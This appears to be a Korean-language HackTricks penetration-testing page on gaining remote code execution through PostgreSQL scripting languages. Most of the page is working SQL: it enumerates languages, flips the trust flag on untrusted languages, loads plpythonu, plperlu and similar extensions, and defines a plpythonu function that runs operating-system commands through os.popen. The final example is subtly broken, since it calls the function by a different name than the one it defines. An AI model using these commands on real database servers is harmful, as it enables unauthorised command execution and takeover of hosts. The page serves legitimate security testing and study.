RCE with PostgreSQL Languages

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

PostgreSQL Languages

당신이 접근할 수 있는 PostgreSQL 데이터베이스에는 악용할 수 있는 다양한 스크립팅 언어가 설치되어 있을 수 있습니다. 임의의 코드를 실행할 수 있습니다.

당신은 그들을 실행할 수 있습니다:

sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

PostgreSQL에 설치할 수 있는 대부분의 스크립팅 언어는 2가지 종류가 있습니다: 신뢰할 수 있는 것과 신뢰할 수 없는 것. 신뢰할 수 없는 언어는 "u"로 끝나는 이름을 가지며, 코드를 실행하고 다른 흥미로운 기능을 사용할 수 있는 버전입니다. 설치된 경우 흥미로운 언어는 다음과 같습니다:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ... (불안전한 버전을 사용하는 다른 프로그래밍 언어)

warning

흥미로운 언어가 설치되어 있지만 PostgreSQL에 의해 신뢰할 수 없는 경우 (**lanpltrusted**가 false) 다음 줄을 사용하여 신뢰할 수 있도록 시도할 수 있습니다. 그러면 PostgreSQL에서 제한이 적용되지 않습니다:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# pg_language 테이블에 대한 권한을 확인하려면
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

caution

언어가 보이지 않는 경우 (슈퍼관리자여야 함) 다음과 같이 로드해 볼 수 있습니다:

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

안전한 버전을 "불안전한" 것으로 컴파일할 수 있다는 점에 유의하세요. 예를 들어 이것을 확인하세요. 따라서 신뢰할 수 있는 것만 설치되어 있더라도 코드를 실행할 수 있는지 시도해 볼 가치가 항상 있습니다.

plpythonu/plpython3u

sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

다음 페이지를 확인하세요:

PL/pgSQL Password Bruteforce

C

다음 페이지를 확인하세요:

RCE with PostgreSQL Extensions

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기